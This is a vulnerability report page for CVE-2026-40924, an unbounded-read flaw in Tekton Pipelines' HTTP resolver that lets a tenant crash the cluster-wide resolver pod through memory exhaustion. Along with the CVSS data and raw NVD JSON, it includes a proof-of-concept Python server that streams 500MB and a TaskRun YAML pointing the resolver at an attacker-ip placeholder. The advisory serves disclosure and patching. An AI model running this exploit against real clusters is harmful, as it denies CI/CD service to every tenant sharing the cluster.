Security Vulnerability Report
中文
CVE-2026-40924 CVSS 6.5 MEDIUM

CVE-2026-40924

Published: 2026-04-21 21:16:46
Last Modified: 2026-04-27 18:06:11

Description

Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Prior to 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. This vulnerability is fixed in 1.11.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:* - VULNERABLE
Tekton Pipelines < 1.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import http.server import socketserver # Malicious server to trigger OOM in Tekton resolver class OOMHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() # Send large payload (e.g., 500MB) to exhaust memory self.wfile.write(b'A' * (500 * 1024 * 1024)) with socketserver.TCPServer(("", 8080), OOMHandler) as httpd: httpd.serve_forever() # Attacker creates a Tekton TaskRun pointing to this server: # apiVersion: tekton.dev/v1 # kind: TaskRun # metadata: # name: exploit-run # spec: # taskRef: # resolver: http # params: # - name: url # value: http://<attacker-ip>:8080/malicious.yaml

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40924", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:45.720", "lastModified": "2026-04-27T18:06:10.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Prior to 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. This vulnerability is fixed in 1.11.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionEndExcluding": "1.11.1", "matchCriteriaId": "CC2C0633-AA1A-4CB5-8FA4-CD63381DCE11"}]}]}], "references": [{"url": "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}